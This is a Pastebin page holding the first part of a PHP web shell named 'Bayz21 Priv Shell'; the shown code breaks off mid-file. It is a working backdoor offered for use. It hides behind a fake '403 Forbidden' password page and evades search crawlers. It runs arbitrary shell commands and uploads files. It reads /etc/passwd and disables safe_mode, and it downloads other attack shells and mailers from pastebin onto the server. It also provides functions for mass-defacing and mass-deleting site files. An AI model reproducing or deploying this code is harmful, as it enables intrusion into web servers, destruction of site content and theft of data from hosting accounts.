Bayz21

myshell

Jun 2nd, 2017
1,897
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 117.36 KB | None | 0 0
  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. set_time_limit(0);
  5. @set_magic_quotes_runtime(0);
  6. @clearstatcache();
  7. @ini_set('error_log',NULL);
  8. @ini_set('log_errors',0);
  9. @ini_set('max_execution_time',0);
  10. @ini_set('output_buffering',0);
  11. @ini_set('display_errors', 0);
  12.  
  13. $auth_pass = "9a6d555c576ba6ae5fbf1cfb7c5a6607"; // default: sayatertipu
  14. $color = "#00ff00";
  15. $default_action = 'FilesMan';
  16. $default_use_ajax = true;
  17. $default_charset = 'UTF-8';
  18. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  19.     $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  20.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  21.         header('HTTP/1.0 404 Not Found');
  22.         exit;
  23.     }
  24. }
  25.  
  26. function login_shell() {
  27. ?>
  28. <html>
  29. <head>
  30. <title>403 Forbidden</title>
  31. <style type="text/css">
  32. html {
  33.     margin: 20px auto;
  34.     background: #ffffff;
  35.     color: black;
  36.     text-align: left;
  37. }
  38. header {
  39.     color: black;
  40.     margin: 10px auto;
  41. }
  42. input[type=password] {
  43.     width: 250px;
  44.     height: 25px;
  45.     color: black;
  46.     background: #ffffff;
  47.     border: 1px dotted white;
  48.     padding: 5px;
  49.     margin-left: 20px;
  50.     text-align: center;
  51. }
  52. </style>
  53. </head>
  54. <body>
  55.  
  56. <h1>403 Forbidden</h1>
  57.  
  58. <p>A potentially unsafe operation has been detected in your request to this site.</p>
  59. <br>
  60.  <br>
  61. <form method="post">
  62. <input type="password" name="pass">
  63. </form>
  64. <?php
  65. exit;
  66. }
  67. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  68.     if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  69.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  70.     else
  71.         login_shell();
  72. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  73.     @ob_clean();
  74.     $file = $_GET['file'];
  75.     header('Content-Description: File Transfer');
  76.     header('Content-Type: application/octet-stream');
  77.     header('Content-Disposition: attachment; filename="'.basename($file).'"');
  78.     header('Expires: 0');
  79.     header('Cache-Control: must-revalidate');
  80.     header('Pragma: public');
  81.     header('Content-Length: ' . filesize($file));
  82.     readfile($file);
  83.     exit;
  84. }
  85. ?>
  86. <html>
  87. <head>
  88. <center>
  89. <title> Bayz21 Priv Shell</title>
  90. <meta name='author' content='ICG SHELL!!'>
  91. <meta charset="UTF-8">
  92. <center><style type='text/css'>
  93. @import url(https://fonts.googleapis.com/css?family=Ubuntu);
  94. html {
  95.     background: url('http://i.imgur.com/YFRATix.jpg');
  96.     color: #ffffff;
  97.     font-family: 'abel';
  98.     font-size: 13px;
  99.     height: 100%;
  100. }
  101. li {
  102.     display: inline;
  103.     margin: 5px;
  104.     padding: 5px;
  105. }
  106. table, th, td {
  107.     border-collapse:collapse;
  108.     font-family: Tahoma, Geneva, sans-serif;
  109.     background: transparent;
  110.     font-family: 'abel';
  111.     font-size: 13px;
  112. }
  113. .table_home, .th_home, .td_home {
  114.     border: 1px solid #ffffff;
  115. }
  116. th {
  117.     padding: 10px;
  118. }
  119. a {
  120.     color: #ffffff;
  121.     text-decoration: none;
  122. }
  123. a:hover {
  124.     color: gold;
  125.     text-decoration: underline;
  126. }
  127. b {
  128.     color: gold;
  129. }
  130. input[type=text], input[type=password],input[type=submit] {
  131.     background: transparent;
  132.     color: #ffffff;
  133.     border: 1px solid #ffffff;
  134.     margin: 5px auto;
  135.     padding-left: 5px;
  136.     font-family: 'abel';
  137.     font-size: 13px;
  138. }
  139. textarea {
  140.     border: 1px solid #ffffff;
  141.     width: 100%;
  142.     height: 400px;
  143.     padding-left: 5px;
  144.     margin: 10px auto;
  145.     resize: none;
  146.     background: transparent;
  147.     color: #ffffff;
  148.     font-family: 'abel';
  149.     font-size: 13px;
  150. }
  151. select {
  152.     width: 152px;
  153.     background: #000000;
  154.     color: cyan;
  155.     border: 1px solid #ffffff;
  156.     margin: 5px auto;
  157.     padding-left: 5px;
  158.     font-family: 'abel';
  159.     font-size: 13px;
  160. }
  161. option:hover {
  162.     background: cyan;
  163.     color: #000000;
  164. }
  165. </style>
  166. </head>
  167. <center>
  168. <?php
  169. if (file_exists("php.ini")){
  170. }else{
  171. $img = fopen('php.ini', 'w');
  172. $sec = "safe_mode = OFF
  173. disable_funtions = NONE";
  174. fwrite($img ,$sec);
  175. fclose($img);}     
  176. function w($dir,$perm) {
  177.     if(!is_writable($dir)) {
  178.         return "<font color=red>".$perm."</font>";
  179.     } else {
  180.         return "<font color=lime>".$perm."</font>";
  181.     }
  182. }
  183. function exe($cmd) {    
  184. if(function_exists('system')) {        
  185.         @ob_start();       
  186.         @system($cmd);     
  187.         $buff = @ob_get_contents();        
  188.         @ob_end_clean();       
  189.         return $buff;  
  190.     } elseif(function_exists('exec')) {        
  191.         @exec($cmd,$results);      
  192.         $buff = "";        
  193.         foreach($results as $result) {         
  194.             $buff .= $result;      
  195.         } return $buff;    
  196.     } elseif(function_exists('passthru')) {        
  197.         @ob_start();       
  198.         @passthru($cmd);       
  199.         $buff = @ob_get_contents();        
  200.         @ob_end_clean();       
  201.         return $buff;  
  202.     } elseif(function_exists('shell_exec')) {      
  203.         $buff = @shell_exec($cmd);     
  204.         return $buff;  
  205.     }
  206. }
  207. function perms($file){
  208. $perms = fileperms($file);
  209. if (($perms & 0xC000) == 0xC000) {
  210. $info = 's';
  211. } elseif (($perms & 0xA000) == 0xA000) {
  212. $info = 'l';
  213. } elseif (($perms & 0x8000) == 0x8000) {
  214. $info = '-';
  215. } elseif (($perms & 0x6000) == 0x6000) {
  216. $info = 'b';
  217. } elseif (($perms & 0x4000) == 0x4000) {
  218. $info = 'd';
  219. } elseif (($perms & 0x2000) == 0x2000) {
  220. $info = 'c';
  221. } elseif (($perms & 0x1000) == 0x1000) {
  222. $info = 'p';
  223. } else {
  224. $info = 'u';
  225. }
  226. $info .= (($perms & 0x0100) ? 'r' : '-');
  227. $info .= (($perms & 0x0080) ? 'w' : '-');
  228. $info .= (($perms & 0x0040) ?
  229. (($perms & 0x0800) ? 's' : 'x' ) :
  230. (($perms & 0x0800) ? 'S' : '-'));
  231. $info .= (($perms & 0x0020) ? 'r' : '-');
  232. $info .= (($perms & 0x0010) ? 'w' : '-');
  233. $info .= (($perms & 0x0008) ?
  234. (($perms & 0x0400) ? 's' : 'x' ) :
  235. (($perms & 0x0400) ? 'S' : '-'));
  236. $info .= (($perms & 0x0004) ? 'r' : '-');
  237. $info .= (($perms & 0x0002) ? 'w' : '-');
  238. $info .= (($perms & 0x0001) ?
  239. (($perms & 0x0200) ? 't' : 'x' ) :
  240. (($perms & 0x0200) ? 'T' : '-'));
  241. return $info;
  242. }
  243. function hdd($s) {
  244. if($s >= 1073741824)
  245. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  246. elseif($s >= 1048576)
  247. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  248. elseif($s >= 1024)
  249. return sprintf('%1.2f',$s / 1024 ) .' KB';
  250. else
  251. return $s .' B';
  252. }
  253. function ambilKata($param, $kata1, $kata2){
  254.     if(strpos($param, $kata1) === FALSE) return FALSE;
  255.     if(strpos($param, $kata2) === FALSE) return FALSE;
  256.     $start = strpos($param, $kata1) + strlen($kata1);
  257.     $end = strpos($param, $kata2, $start);
  258.     $return = substr($param, $start, $end - $start);
  259.     return $return;
  260. }
  261. if(get_magic_quotes_gpc()) {
  262.     function idx_ss($array) {
  263.         return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
  264.     }
  265.     $_POST = idx_ss($_POST);
  266. }
  267. function CreateTools($names,$lokasi){
  268.     if ( $_GET['create'] == $names ){
  269.         $a= "".$_SERVER['SERVER_NAME']."";
  270. $b= dirname($_SERVER['PHP_SELF']);
  271. $c = "/cox_tools/".$names.".php";
  272. if (file_exists('cox_tools/'.$names.'.php')){
  273.     echo '<script type="text/javascript">alert("Done");window.location.href = "cox_tools/'.$names.'.php";</script> ';
  274.     }
  275.     else {mkdir("cox_tools", 0777);
  276. file_put_contents('cox_tools/'.$names.'.php', file_get_contents($lokasi));
  277. echo ' <script type="text/javascript">alert("Done");window.location.href = "cox_tools/'.$names.'.php";</script> ';}}}
  278.  
  279. CreateTools("wso","http://pastebin.com/raw/3eh3Gej2");
  280. CreateTools("adminer"."https://www.adminer.org/static/download/4.2.5/adminer-4.2.5.php");
  281. CreateTools("b374k","http://pastebin.com/raw/rZiyaRGV");
  282. CreateTools("injection","http://pastebin.com/raw/nxxL8c1f");
  283. CreateTools("promailerv2","http://pastebin.com/raw/Rk9v6eSq");
  284. CreateTools("gamestopceker","http://pastebin.com/raw/QSnw1JXV");
  285. CreateTools("bukapalapak","http://pastebin.com/raw/6CB8krDi");
  286. CreateTools("tokopedia","http://pastebin.com/dvhzWgby");
  287. CreateTools("encodedecode","http://pastebin.com/raw/wqB3G5eZ");
  288. CreateTools("mailer","http://pastebin.com/raw/9yu1DmJj");
  289. CreateTools("r57","http://pastebin.com/raw/G2VEDunW");
  290. CreateTools("tokenpp","http://pastebin.com/raw/72xgmtPL");
  291. CreateTools("extractor","http://pastebin.com/raw/jQnMFHBL");
  292. CreateTools("bh","http://pastebin.com/raw/3L2ESWeu");
  293. CreateTools("dhanus","http://pastebin.com/raw/v4xGus6X");
  294. if(isset($_GET['dir'])) {
  295.     $dir = $_GET['dir'];
  296.     chdir($_GET['dir']);
  297. } else {
  298.     $dir = getcwd();
  299. }
  300. $dir = str_replace("\\","/",$dir);
  301. $scdir = explode("/", $dir);
  302. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
  303. $ling="http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create";
  304. $ds = @ini_get("disable_functions");
  305. $mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  306. $curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  307. $wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  308. $perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  309. $python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  310. $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
  311. if(!function_exists('posix_getegid')) {
  312.     $user = @get_current_user();
  313.     $uid = @getmyuid();
  314.     $gid = @getmygid();
  315.     $group = "?";
  316. } else {
  317.     $uid = @posix_getpwuid(posix_geteuid());
  318.     $gid = @posix_getgrgid(posix_getegid());
  319.     $user = $uid['name'];
  320.     $uid = $uid['uid'];
  321.     $group = $gid['name'];
  322.     $gid = $gid['gid'];
  323. }
  324. $d0mains = @file("/etc/named.conf");
  325.             $users=@file('/etc/passwd');
  326.         if($d0mains)
  327.         {
  328.             $count;  
  329.             foreach($d0mains as $d0main)
  330.             {
  331.                 if(@ereg("zone",$d0main))
  332.                 {
  333.                     preg_match_all('#zone "(.*)"#', $d0main, $domains);
  334.                     flush();
  335.                     if(strlen(trim($domains[1][0])) > 2)
  336.                     {
  337.                         flush();
  338.                         $count++;
  339.                     }
  340.                 }
  341.             }
  342.         }
  343.  
  344. $sport=$_SERVER['SERVER_PORT'];
  345. echo "<table style='width:100%'>";
  346. echo "<tr><td>System: <font color=lime>".php_uname()."</font></td></tr>";
  347. echo "<tr><td>User: <font color=lime>".$user."</font> (".$uid.") Group: <font color=lime>".$group."</font> (".$gid.")</td></tr>";
  348. echo "<tr><td>Server IP: <font color=lime>".gethostbyname($_SERVER['HTTP_HOST'])."</font> | Your IP: <font color=lime>".$_SERVER['REMOTE_ADDR']."</font></td></tr>";
  349. echo "<tr><td>HDD: <font color=lime>".hdd(disk_free_space("/"))."</font> / <font color=lime>".hdd(disk_total_space("/"))."</font></td></tr>";
  350. echo "<tr><td>Websites :<font color=lime> $count </font> Domains</td></tr>";
  351. echo "<tr><td>Port :<font color=lime>  $sport</font> </td></tr>";
  352. echo "<tr><td>Safe Mode: $sm</td></tr>";
  353. echo "<tr><td>Disable Functions: $show_ds</td></tr>";
  354. echo "<tr><td>MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl </td></tr>";
  355. echo "<tr><td>Current DIR: ";
  356. foreach($scdir as $c_dir => $cdir) {   
  357.     echo "<a href='?dir=";
  358.     for($i = 0; $i <= $c_dir; $i++) {
  359.         echo $scdir[$i];
  360.         if($i != $c_dir) {
  361.         echo "/";
  362.         }
  363.     }
  364.     echo "'>$cdir</a>/";
  365. }
  366. echo "</td></tr></table><hr>";
  367. echo "<center>";
  368. echo "<ul>";
  369. echo "<li>[ <a href='?'>Home</a> ]</li>";
  370. echo "<li>[ <a href='?dir=$dir&do=upload'>Upload</a> ]</li>";
  371. echo "<li>[ <a href='?dir=$dir&do=cmd'>Command</a> ]</li>";
  372. echo "<li>[ <a href='?dir=$dir&do=mass_deface'>Mass Deface</a> ]</li>";
  373. echo "<li>[ <a href='?dir=$dir&do=config'>Config</a> ]</li>";
  374. echo "<li>[ <a href='?dir=$dir&do=lcf'>LiteSpeed Config</a> ]</li>";
  375. echo "<li>[ <a href='?dir=$dir&do=jumping'>Jumping</a> ]</li>";
  376. echo "<li>[ <a href='?dir=$dir&do=symlink'>Symlink</a> ]<br></li>";
  377. echo "<li>[ <a href='?dir=$dir&do=cpanel'>CPanel Crack</a> ]</li>";
  378. echo "<li>[ <a href='?dir=$dir&do=smtp'>SMTP Grabber</a> ]</li>";
  379. echo "<li>[ <a href='?dir=$dir&do=zoneh'>Zone-H</a> ]</li>";
  380. echo "<li>[ <a href='?dir=$dir&do=defacerid'>Defacer.ID</a> ]</li>";
  381. echo "<li>[ <a href='?dir=$dir&do=cgi'>CGI Telnet</a> ]</li><br>";
  382. echo "<li>[ <a href='?dir=$dir&do=adminer'>Adminer</a> ]</li>";
  383. echo "<li>[ <a href='?dir=$dir&do=fake_root'>Fake Root</a> ]</li>";
  384. echo "<li>[ <a href='?dir=$dir&do=auto_edit_user'>Auto Edit User</a> ]</li>";
  385. echo "<li>[ <a href='?dir=$dir&do=auto_wp'>Auto Edit Title WordPress</a> ]</li>";
  386. echo "<li>[ <a href='?dir=$dir&do=auto_dwp'>WordPress Auto Deface</a> ]</li>";
  387. echo "<li>[ <a href='?dir=$dir&do=auto_dwp2'>WordPress Auto Deface V.2</a> ]</li>";
  388. echo "<li>[ <a href='?dir=$dir&do=passwbypass'>Bypass etc/passw</a> ]<br></li>";
  389. echo "<li>[ <a href='?dir=$dir&do=loghunter'>Log Hunter</a> ]</li>";
  390. echo "<li>[ <a href='?dir=$dir&do=shellchk'>Shell Checker</a> ]</li>";
  391. echo "<li>[ <a href='?dir=$dir&do=shelscan'>Shell Finder</a> ]</li>";
  392. echo "<li>[ <a href='?dir=$dir&do=zip'>Zip Menu</a> ]</li>";
  393. echo "<li>[ <a href='?dir=$dir&do=about'>About</a> ]</li>";
  394. echo "<li>[ <a href='?dir=$dir&do=metu'>LogOut</a> ]<br></li>";
  395. echo "</ul>";
  396. echo "</center>";
  397. echo "<hr>";
  398. if($_GET['do'] == 'upload') {
  399.     echo "<center>";
  400.     if($_POST['upload']) {
  401.         if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
  402.             $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
  403.         } else {
  404.             $act = "<font color=red>failed to upload file</font>";
  405.         }
  406.     }
  407.     echo "Upload File: [ ".w($dir,"Writeable")." ]<form method='post' enctype='multipart/form-data'><input type='file' name='ix_file'><input type='submit' value='upload' name='upload'></form>";
  408.     echo $act;
  409.     echo "</center>";
  410. }
  411.  elseif($_GET['do'] == 'cmd') {
  412.     echo "<form method='post'>
  413.     <font style='text-decoration: underline;'>".$user."@".gethostbyname($_SERVER['HTTP_HOST']).":~# </font>
  414.     <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
  415.     </form>";
  416.     if($_POST['do_cmd']) {
  417.         echo "<pre>".exe($_POST['cmd'])."</pre>";
  418.     }
  419. } elseif($_GET['do'] == 'mass_deface') {
  420.     echo "<center><form action=\"\" method=\"post\">\n";
  421.     $dirr=$_POST['d_dir'];
  422.     $index = $_POST["script"];
  423.     $index = str_replace('"',"'",$index);
  424.     $index = stripslashes($index);
  425.     function edit_file($file,$index){
  426.         if (is_writable($file)) {
  427.         clear_fill($file,$index);
  428.         echo "<Span style='color:green;'><strong> [+] Nyabun 100% Successfull </strong></span><br></center>";
  429.         }
  430.         else {
  431.             echo "<Span style='color:red;'><strong> [-] Ternyata Tidak Boleh Menyabun Disini :( </strong></span><br></center>";
  432.             }
  433.             }
  434.     function hapus_massal($dir,$namafile) {
  435.         if(is_writable($dir)) {
  436.             $dira = scandir($dir);
  437.             foreach($dira as $dirb) {
  438.                 $dirc = "$dir/$dirb";
  439.                 $lokasi = $dirc.'/'.$namafile;
  440.                 if($dirb === '.') {
  441.                     if(file_exists("$dir/$namafile")) {
  442.                         unlink("$dir/$namafile");
  443.                     }
  444.                 } elseif($dirb === '..') {
  445.                     if(file_exists("".dirname($dir)."/$namafile")) {
  446.                         unlink("".dirname($dir)."/$namafile");
  447.                     }
  448.                 } else {
  449.                     if(is_dir($dirc)) {
  450.                         if(is_writable($dirc)) {
  451.                             if(file_exists($lokasi)) {
  452.                                 echo "[<font color=lime>DELETED</font>] $lokasi<br>";
  453.                                 unlink($lokasi);
  454.                                 $idx = hapus_massal($dirc,$namafile);
  455.                             }
  456.                         }
  457.                     }
  458.                 }
  459.             }
  460.         }
  461.     }
  462.     function clear_fill($file,$index){
  463.         if(file_exists($file)){
  464.             $handle = fopen($file,'w');
  465.             fwrite($handle,'');
  466.             fwrite($handle,$index);
  467.             fclose($handle);  } }
  468.  
  469.     function gass(){
  470.         global $dirr , $index ;
  471.         chdir($dirr);
  472.         $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  473.         $files = scandir($dirr) ;
  474.         $notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
  475.         sort($files);
  476.         $n = 0 ;
  477.         foreach ($files as $file){
  478.             if ( $file != $me && is_dir($file) != 1 && !in_array($file, $notallow) ) {
  479.                 echo "<center><Span style='color: #8A8A8A;'><strong>$dirr/</span>$file</strong> ====> ";
  480.                 edit_file($file,$index);
  481.                 flush();
  482.                 $n = $n +1 ;
  483.                 }
  484.                 }
  485.                 echo "<br>";
  486.                 echo "<center><br><h3>$n Kali Anda Telah Ngecrot  Disini </h3></center><br>";
  487.                     }
  488.     function ListFiles($dirrall) {
  489.  
  490.     if($dh = opendir($dirrall)) {
  491.  
  492.        $files = Array();
  493.        $inner_files = Array();
  494.        $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  495.        $notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
  496.         while($file = readdir($dh)) {
  497.             if($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow) ) {
  498.                 if(is_dir($dirrall . "/" . $file)) {
  499.                     $inner_files = ListFiles($dirrall . "/" . $file);
  500.                     if(is_array($inner_files)) $files = array_merge($files, $inner_files);
  501.                 } else {
  502.                     array_push($files, $dirrall . "/" . $file);
  503.                 }
  504.             }
  505.             }
  506.  
  507.             closedir($dh);
  508.             return $files;
  509.         }
  510.     }
  511.     function gass_all(){
  512.         global $index ;
  513.         $dirrall=$_POST['d_dir'];
  514.         foreach (ListFiles($dirrall) as $key=>$file){
  515.             $file = str_replace('//',"/",$file);
  516.             echo "<center><strong>$file</strong> ===>";
  517.             edit_file($file,$index);
  518.             flush();
  519.         }
  520.         $key = $key+1;
  521.     echo "<center><br><h3>$key Kali Anda Telah Ngecrot  Disini  </h3></center><br>"; }
  522.     function sabun_massal($dir,$namafile,$isi_script) {
  523.         if(is_writable($dir)) {
  524.             $dira = scandir($dir);
  525.             foreach($dira as $dirb) {
  526.                 $dirc = "$dir/$dirb";
  527.                 $lokasi = $dirc.'/'.$namafile;
  528.                 if($dirb === '.') {
  529.                     file_put_contents($lokasi, $isi_script);
  530.                 } elseif($dirb === '..') {
  531.                     file_put_contents($lokasi, $isi_script);
  532.                 } else {
  533.                     if(is_dir($dirc)) {
  534.                         if(is_writable($dirc)) {
  535.                             echo "[<font color=lime>DONE</font>] $lokasi<br>";
  536.                             file_put_contents($lokasi, $isi_script);
  537.                             $idx = sabun_massal($dirc,$namafile,$isi_script);
  538.                         }
  539.                     }
  540.                 }
  541.             }
  542.         }
  543.     }
  544.     if($_POST['mass'] == 'onedir') {
  545.         echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>\n";
  546.         $ini="http://";
  547.         $mainpath=$_POST[d_dir];
  548.         $file=$_POST[d_file];
  549.         $dir=opendir("$mainpath");
  550.         $code=base64_encode($_POST[script]);
  551.         $indx=base64_decode($code);
  552.         while($row=readdir($dir)){
  553.         $start=@fopen("$row/$file","w+");
  554.         $finish=@fwrite($start,$indx);
  555.         if ($finish){
  556.             echo"$ini$row/$file\n";
  557.             }
  558.         }
  559.         echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>\n";
  560.         $mainpath=$_POST[d_dir];$file=$_POST[d_file];
  561.         $dir=opendir("$mainpath");
  562.         $code=base64_encode($_POST[script]);
  563.         $indx=base64_decode($code);
  564.         while($row=readdir($dir)){$start=@fopen("$row/$file","w+");
  565.         $finish=@fwrite($start,$indx);
  566.         if ($finish){echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>'; }
  567.         }
  568.  
  569.     }
  570.     elseif($_POST['mass'] == 'sabunkabeh') { gass(); }
  571.     elseif($_POST['mass'] == 'hapusmassal') { hapus_massal($_POST['d_dir'], $_POST['d_file']); }
  572.     elseif($_POST['mass'] == 'sabunmematikan') { gass_all(); }
  573.     elseif($_POST['mass'] == 'massdeface') {
  574.         echo "<div style='margin: 5px auto; padding: 5px'>";
  575.         sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  576.         echo "</div>";  }
  577.     else {
  578.         echo "
  579.         <center><font style='text-decoration: underline;'>
  580.         Select Type:<br>
  581.         </font>
  582.         <select class=\"select\" name=\"mass\"  style=\"width: 450px;\" height=\"10\">
  583.         <option value=\"onedir\">Mass Deface 1 Dir</option>
  584.         <option value=\"massdeface\">Mass Deface ALL Dir</option>
  585.         <option value=\"sabunkabeh\">Sabun Massal Di Tempat</option>
  586.         <option value=\"sabunmematikan\">Sabun Massal Bunuh Diri</option>
  587.         <option value=\"hapusmassal\">Mass Delete Files</option></center></select><br>
  588.         <font style='text-decoration: underline;'>Folder:</font><br>
  589.         <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  590.         <font style='text-decoration: underline;'>Filename:</font><br>
  591.         <input type='text' name='d_file' value='69.php' style='width: 450px;' height='10'><br>
  592.         <font style='text-decoration: underline;'>Index File:</font><br>
  593.         <textarea name='script' style='width: 450px; height: 200px;'>Hacked By Bayz21</textarea><br>
  594.         <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
  595.         </form></center>";
  596.         }
  597.     }
  598. elseif($_GET['do'] == 'zip') {
  599.     echo "<center><h1>Zip Menu</h1>";
  600. function rmdir_recursive($dir) {
  601.     foreach(scandir($dir) as $file) {
  602.        if ('.' === $file || '..' === $file) continue;
  603.        if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
  604.        else unlink("$dir/$file");
  605.    }
  606.    rmdir($dir);
  607. }
  608. if($_FILES["zip_file"]["name"]) {
  609.     $filename = $_FILES["zip_file"]["name"];
  610.     $source = $_FILES["zip_file"]["tmp_name"];
  611.     $type = $_FILES["zip_file"]["type"];
  612.     $name = explode(".", $filename);
  613.     $accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
  614.     foreach($accepted_types as $mime_type) {
  615.         if($mime_type == $type) {
  616.             $okay = true;
  617.             break;
  618.         }
  619.     }
  620.     $continue = strtolower($name[1]) == 'zip' ? true : false;
  621.     if(!$continue) {
  622.         $message = "Itu Bukan Zip  , , GOBLOK COK";
  623.     }
  624.   $path = dirname(__FILE__).'/';
  625.   $filenoext = basename ($filename, '.zip');
  626.   $filenoext = basename ($filenoext, '.ZIP');
  627.   $targetdir = $path . $filenoext;
  628.   $targetzip = $path . $filename;
  629.   if (is_dir($targetdir))  rmdir_recursive ( $targetdir);
  630.   mkdir($targetdir, 0777);
  631.     if(move_uploaded_file($source, $targetzip)) {
  632.         $zip = new ZipArchive();
  633.         $x = $zip->open($targetzip);
  634.         if ($x === true) {
  635.             $zip->extractTo($targetdir);
  636.             $zip->close();
  637.  
  638.             unlink($targetzip);
  639.         }
  640.         $message = "<b>Sukses Gan :)</b>";
  641.     } else {   
  642.         $message = "<b>Error Gan :(</b>";
  643.     }
  644. }  
  645. echo '<table style="width:100%" border="1">
  646.  <tr><td><h2>Upload And Unzip</h2><form enctype="multipart/form-data" method="post" action="">
  647. <label>Zip File : <input type="file" name="zip_file" /></label>
  648. <input type="submit" name="submit" value="Upload And Unzip" />
  649. </form>';
  650. if($message) echo "<p>$message</p>";
  651. echo "</td><td><h2>Zip Backup</h2><form action='' method='post'><font style='text-decoration: underline;'>Folder:</font><br><input type='text' name='dir' value='$dir' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_backup.zip' style='width: 450px;' height='10'><br><input type='submit' name='backup' value='BackUp!' style='width: 215px;'></form>";  
  652.     if($_POST['backup']){
  653.     $save=$_POST['save'];
  654.     function Zip($source, $destination)
  655. {
  656.     if (extension_loaded('zip') === true)
  657.     {
  658.         if (file_exists($source) === true)
  659.         {
  660.             $zip = new ZipArchive();
  661.  
  662.             if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
  663.             {
  664.                 $source = realpath($source);
  665.  
  666.                 if (is_dir($source) === true)
  667.                 {
  668.                     $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
  669.  
  670.                     foreach ($files as $file)
  671.                     {
  672.                         $file = realpath($file);
  673.  
  674.                         if (is_dir($file) === true)
  675.                         {
  676.                             $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
  677.                         }
  678.  
  679.                         else if (is_file($file) === true)
  680.                         {
  681.                             $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
  682.                         }
  683.                     }
  684.                 }
  685.  
  686.                 else if (is_file($source) === true)
  687.                 {
  688.                     $zip->addFromString(basename($source), file_get_contents($source));
  689.                 }
  690.             }
  691.  
  692.             return $zip->close();
  693.         }
  694.     }
  695.  
  696.     return false;
  697. }
  698.     Zip($_POST['dir'],$save);
  699.     echo "Done , Save To <b>$save</b>";
  700.     }
  701.     echo "</td><td><h2>Unzip Manual</h2><form action='' method='post'><font style='text-decoration: underline;'>Zip Location:</font><br><input type='text' name='dir' value='$dir/file.zip' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_unzip' style='width: 450px;' height='10'><br><input type='submit' name='extrak' value='Unzip!' style='width: 215px;'></form>";
  702.     if($_POST['extrak']){
  703.     $save=$_POST['save'];
  704.     $zip = new ZipArchive;
  705.     $res = $zip->open($_POST['dir']);
  706.     if ($res === TRUE) {
  707.         $zip->extractTo($save);
  708.         $zip->close();
  709.     echo 'Succes , Location : <b>'.$save.'</b>';
  710.     } else {
  711.     echo 'Gagal Mas :( Ntahlah !';
  712.     }
  713.     }
  714. echo '</tr></table>';  
  715.     }
  716.     elseif($_GET['do'] == 'shellchk') {
